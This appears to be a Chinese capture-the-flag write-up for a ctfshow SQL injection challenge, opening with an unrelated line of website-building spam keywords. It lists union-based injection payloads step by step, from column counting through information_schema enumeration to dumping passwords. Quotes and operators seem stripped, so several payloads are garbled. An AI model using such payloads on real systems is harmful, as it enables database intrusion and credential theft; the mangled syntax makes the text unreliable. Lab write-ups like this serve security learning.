做网站收款支付宝接口,潍坊专业做网站公司,旅游网站建设方案2019,国外网站策划//拼接sql语句查找指定ID用户
$sql select username,password from ctfshow_user2 where username !flag and id .$_GET[id]. limit 1;;
联合查询
该题目与上一个题目不是同一个类型#xff0c;该题目需要进行sql联合查询。
第一步#xff1a;确…//拼接sql语句查找指定ID用户
$sql select username,password from ctfshow_user2 where username !flag and id .$_GET[id]. limit 1;;
联合查询
该题目与上一个题目不是同一个类型该题目需要进行sql联合查询。
第一步确定sql注入的类型。1 or 11 确定为字符型(根据上面的php代码也能确定) 第二步使用order by确定列数 1 order by 3 -- 第三步测试回显位1 union select 1,2 -- 第四步使用database()查询数据库 1 union select 1, database() -- 第五步查询表名
x union select 1,group_concat(table_name),x from information_schema.tables where table_schemadatabase() --
1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() --
1 union select 1,group_concat(table_name) from information_schema.tables where table_schemactfshow_web --
第一个x代表是需要确定哪种注入类型。
第二个x代表是需要确定是有几个列并且确定回显字段。 第六步查询字段名
x union select 1,group_concat(column_name),x from information_schema.columns where table_schemadatabase()table_name查询到的表名 --
1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase()table_namectfshow_user2 --
1 union select 1,group_concat(column_name) from information_schema.columns where table_schemactfshow_webtable_namectfshow_user2 --
两种方法均无法查询出字段名因为语法出现问题。应该使用下列查询语句加个括号
1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schemadatabase()table_namectfshow_user2) --
仍然不正确在语句中不需要数据库的信息。
1 union select 1,(select group_concat(column_name) from information_schema.columns where table_namectfshow_user2) --
所以最开始语句的问题是多加了数据库的信息
1 union select 1,group_concat(column_name) from information_schema.columns where table_namectfshow_user2 -- 第七步查询字段值
1 union select 1,group_concat(password) from ctfshow_user2 --
1 union select 1,password from ctfshow_user2 -- 以上问题错误的原因该题目只有一个数据库因此在查询字段时不需要指定数据库名。